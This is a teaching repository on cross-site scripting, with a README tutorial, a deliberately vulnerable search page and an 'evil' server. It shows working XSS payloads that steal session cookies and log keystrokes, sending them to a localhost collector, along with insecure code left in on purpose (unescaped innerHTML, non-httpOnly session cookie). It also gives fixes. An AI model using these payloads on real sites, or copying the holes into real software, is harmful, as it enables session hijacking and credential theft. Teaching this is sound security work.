├── .gitignore ├── LICENSE ├── README.md ├── evil-server.js ├── package.json ├── public └── index.html ├── screenshots ├── xss-screenshot-001.png └── xss-screenshot-002.png └── server.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Charles Hill 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Cross-site Scripting (XSS) 2 | 3 | Example cross-site scripting vulnerabilities in action. 4 | 5 | 6 | ## Requirements 7 | 8 | * [Node.js](https://nodejs.org/en/) - you can use either version (LTS or latest) 9 | * For Windows - use the installation package from the node website 10 | * For Linux and Mac - use [nvm](https://github.com/creationix/nvm) to install node 11 | * [Git](https://git-scm.com/downloads) 12 | 13 | 14 | ## Getting Started 15 | 16 | If you have not already done so, make sure you have all the [requirements](#requirements) from above. 17 | 18 | For Windows users, open Git Bash. You will use this program to run all the "terminal" commands you see in the rest of this guide. 19 | 20 | For Linux and Mac users, open Terminal. 21 | 22 | Now let's get started. In your terminal program, use git to download the project: 23 | ```bash 24 | git clone https://github.com/Learn-by-doing/xss.git 25 | ``` 26 | If successful, a new folder named `xss` should have been created. 27 | 28 | Change directory into the new folder: 29 | ```bash 30 | cd xss 31 | ``` 32 | 33 | Install the project's dependencies using npm: 34 | ```bash 35 | npm install 36 | ``` 37 | 38 | Now we can run the local web server using Node.js: 39 | ```bash 40 | node server.js 41 | ``` 42 | If successful, you should see the following message: `Server listening at localhost:3000`. This means that a local web server is now running and is listening for requests at [localhost:3000](http://localhost:3000/). Open your browser and click the link. 43 | 44 | You should see a simple search form. Enter some text then press enter (or click the "search" button). Notice how the search query you entered is shown in the page. This form might be vulnerable to an XSS attack. So let's test it ;) 45 | 46 | 47 | ## What is XSS? 48 | 49 | From [OWASP](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)): 50 | 51 | > Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. 52 | 53 | XSS vulnerabilities are generally used to steal sensitive information (login credentials, authentication tokens, personal user data) as well as perform actions on behalf of authenticated users. 54 | 55 | 56 | ## Proof of Concept 57 | 58 | Open the developer tools in your browser (F12) and open the "Console" sub-tab. 59 | 60 | Copy/paste the following code into the console and run it: 61 | ```js 62 | encodeURIComponent(''); 63 | ``` 64 | 65 | ![](screenshots/xss-screenshot-001.png) 66 | 67 | Copy the output and paste it into the address bar so that the URL looks like this: 68 | ``` 69 | http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22alert('hi!')%22%3E 70 | ``` 71 | Or you can click [this link](http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22alert('hi')%22%3E). 72 | 73 | If successful, you should see an alert pop-up that says "hi!". 74 | 75 | Let's see what else we can do.. 76 | 77 | 78 | ## Exploitation 79 | 80 | Open the "Application" sub-tab in your browser's developer tools. Under "Storage" -> "Cookies", click "localhost:3000" to show the cookies being saved by the browser for this website. 81 | 82 | ![](screenshots/xss-screenshot-002.png) 83 | 84 | Notice how there is a cookie named "connect.sid". This is a session cookie set by our local web server. Is it possible for us to access this via the XSS vulnerability? Let's try. Repeat the steps from the "Proof of Concept" section above, but with the following code: 85 | ```html 86 | 87 | ``` 88 | Encode the above HTML and use it as the search query, or [try this link](http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22alert(document.cookie)%22%3E). 89 | 90 | If successful, you should see the contents of the session cookie printed in an alert pop-up. 91 | 92 | Now before continuing, we will need to start our "evil" web server. Run the following command in a second terminal window: 93 | ```bash 94 | node evil-server.js 95 | ``` 96 | 97 | And now try to use the following code with the XSS vulnerability to steal the session cookie: 98 | ```html 99 | 100 | ``` 101 | Encode the above HTML and use it as the search query, or [try this link](http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22var%20img%20%3D%20document.createElement(%27img%27)%3B%20img.src%20%3D%20%27http%3A%2F%2Flocalhost%3A3001%2Fcookie%3Fdata%3D%27%20%2B%20document.cookie%3B%20document.querySelector(%27body%27).appendChild(img)%3B%22%3E). 102 | 103 | Check the terminal window of the evil server. Do you see the contents of the session cookie? 104 | 105 | Fun times! 106 | 107 | Here's the JavaScript code from the last example in a readable form: 108 | ```js 109 | var img = document.createElement('img'); 110 | img.src = 'http://localhost:3001/cookie?data=' + document.cookie; 111 | document.querySelector('body').appendChild(img); 112 | ``` 113 | 114 | Now let's get even more nasty. Let's try a key-logger: 115 | ```html 116 | 117 | ``` 118 | Encode the above HTML and use it as the search query, or [try this link](http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22var%20timeout%3B%20var%20buffer%20%3D%20%27%27%3B%20document.querySelector(%27body%27).addEventListener(%27keypress%27%2C%20function(event)%20%7B%20if%20(event.which%20!%3D%3D%200)%20%7B%20clearTimeout(timeout)%3B%20buffer%20%2B%3D%20String.fromCharCode(event.which)%3B%20timeout%20%3D%20setTimeout(function()%20%7B%20var%20xhr%20%3D%20new%20XMLHttpRequest()%3B%20var%20uri%20%3D%20%27http%3A%2F%2Flocalhost%3A3001%2Fkeys%3Fdata%3D%27%20%2B%20encodeURIComponent(buffer)%3B%20xhr.open(%27GET%27%2C%20uri)%3B%20xhr.send()%3B%20buffer%20%3D%20%27%27%3B%20%7D%2C%20400)%3B%20%7D%20%7D)%3B%22%3E). 119 | 120 | Here's the JavaScript code from the last example in a readable form: 121 | ```js 122 | var timeout; 123 | var buffer = ''; 124 | document.querySelector('body').addEventListener('keypress', function(event) { 125 | if (event.which !== 0) { 126 | clearTimeout(timeout); 127 | buffer += String.fromCharCode(event.which); 128 | timeout = setTimeout(function() { 129 | var xhr = new XMLHttpRequest(); 130 | var uri = 'http://localhost:3001/keys?data=' + encodeURIComponent(buffer); 131 | xhr.open('GET', uri); 132 | xhr.send(); 133 | buffer = ''; 134 | }, 400); 135 | } 136 | }); 137 | ``` 138 | 139 | These are very primitive examples, but I think you can see the potential. 140 | 141 | 142 | ## So Why is this Bad? 143 | 144 | Imagine instead of localhost:3000, this was your bank's website. And you see a link in an official-looking email. What happens if you click that link? You might be running some malicious code in the context of your bank's website. Not such a big deal if you aren't logged in at that moment. But what if you are? Or what if you enter your login credentials on the page with the malicious code? Beginning to feel a bit paranoid? Good :) 145 | 146 | 147 | ## Mitigation 148 | 149 | Let's stop scaring you for a moment and see if we can fix this. In this example project, at the root, the XSS vulnerability is caused by inserting unsafe ("unescaped") HTML into the page. In the `public/index.html` file, you will find the following function: 150 | ```js 151 | function showQueryAndResults(q, results) { 152 | 153 | var resultsEl = document.querySelector('#results'); 154 | var html = ''; 155 | 156 | html += '

Your search query:

'; 157 | html += '
' + q + '
'; 158 | html += ''; 165 | 166 | resultsEl.innerHTML = html; 167 | } 168 | ``` 169 | This function is taking the search query (`q`) and inserting it as HTML into the `
` element. And since HTML allows JavaScript to be run inline via a number of different attributes, this provides a nice opportunity for XSS. 170 | 171 | There are a number of techniques we can use to prevent this particular XSS vulnerability. 172 | 173 | We can change our application/website code to treat user input (the `q` parameter) strictly as text content. For example, here is a fixed up version of the above function: 174 | ```js 175 | function showQueryAndResults(q, results) { 176 | 177 | var resultsEl = document.querySelector('#results'); 178 | var html = ''; 179 | 180 | html += '

Your search query:

'; 181 | html += '
';
182 | 	html += '';
189 | 
190 | 	resultsEl.innerHTML = html;
191 | 
192 | 	var queryTextEl = document.querySelector('#results pre');
193 | 	queryTextEl.textContent = q;
194 | }
195 | ```
196 | Replace the function in your index.html with this fixed version and try the XSS proof-of-concept again. Now the HTML is printed as text and the alert pop-up is not shown. Great, we fixed this vulnerability! But that's just this vulnerability. There could be more in the rest of our code.
197 | 
198 | Another technique we can use is [Content Security Policy](https://www.owasp.org/index.php/Content_Security_Policy) declarations to instruct the browser which types of code to run (and from where).
199 | 
200 | For example, we can instruct the browser to only run JavaScript code from source files on the same domain. To do this, we add a special meta tag to the head of our HTML document:
201 | ```
202 | 
203 | ```
204 | But adding this tag to our index.html will break our page, because it disallows the inline JavaScript from running. To fix this, we will need to move our JavaScript to a separate file (ie. `search.js`).
205 | 
206 | This is a very good solution to stop most XSS vulnerabilities from becoming harmful. But there is a major issue. Most applications will break when suddenly adding these directives. Changes have to be made to get the applications working again.
207 | 


--------------------------------------------------------------------------------
/evil-server.js:
--------------------------------------------------------------------------------
 1 | var express = require('express');
 2 | var app = express();
 3 | 
 4 | app.use(function(req, res, next) {
 5 | 	// Allows CORS requests:
 6 | 	res.header('Access-Control-Allow-Origin', '*');
 7 | 	next();
 8 | });
 9 | 
10 | app.get('/cookie', function(req, res, next) {
11 | 	console.log('GET /cookie');
12 | 	console.log(req.query.data);
13 | 	res.send('Thanks!');
14 | });
15 | 
16 | app.get('/keys', function(req, res, next) {
17 | 	console.log('GET /keys');
18 | 	console.log(req.query.data);
19 | 	res.send('I\'ll try to remember that..');
20 | });
21 | 
22 | app.listen(3001, function() {
23 | 	console.log('"Evil" server listening at localhost:3001');
24 | });
25 | 


--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "xss",
 3 |   "version": "2.0.0",
 4 |   "description": "",
 5 |   "main": "server.js",
 6 |   "dependencies": {
 7 |     "express": "4.16.2",
 8 |     "express-session": "1.15.6",
 9 |     "serve-static": "1.13.1"
10 |   },
11 |   "devDependencies": {},
12 |   "scripts": {
13 |     "test": "echo \"Error: no test specified\" && exit 1"
14 |   },
15 |   "author": "",
16 |   "license": "MIT"
17 | }
18 | 


--------------------------------------------------------------------------------
/public/index.html:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 	Cross-Site Scripting (XSS)
 4 | 
 5 | 
 6 | 
 7 | 	
 8 | 	

 9 | 		
10 | 		
11 | 		
12 | 	

13 | 
14 | 	
15 | 	

16 | 
17 | 	
81 | 
82 | 


--------------------------------------------------------------------------------
/screenshots/xss-screenshot-001.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Learn-by-doing/xss/f36da1114e233b73cd4b3cd8b7d8bfd10dfe2a41/screenshots/xss-screenshot-001.png


--------------------------------------------------------------------------------
/screenshots/xss-screenshot-002.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Learn-by-doing/xss/f36da1114e233b73cd4b3cd8b7d8bfd10dfe2a41/screenshots/xss-screenshot-002.png


--------------------------------------------------------------------------------
/server.js:
--------------------------------------------------------------------------------
 1 | var express = require('express');
 2 | var session = require('express-session');
 3 | var serverStatic = require('serve-static');
 4 | var app = express();
 5 | 
 6 | // This serves the index.html file to the browser.
 7 | app.use(serverStatic(__dirname + '/public'));
 8 | 
 9 | // Sessions are used by web applications to remember data about specific users.
10 | // This is how when you login to a website, it remembers you for a while.
11 | app.use(session({
12 | 	secret: 'some randomly generated secret',
13 | 	resave: true,
14 | 	saveUninitialized: true,
15 | 	cookie: {
16 | 		httpOnly: false,
17 | 		secure: false
18 | 	}
19 | }));
20 | 
21 | // Start listening to requests on the local machine at port 3000.
22 | app.listen(3000, function() {
23 | 	console.log('Server listening at localhost:3000');
24 | });
25 | 


--------------------------------------------------------------------------------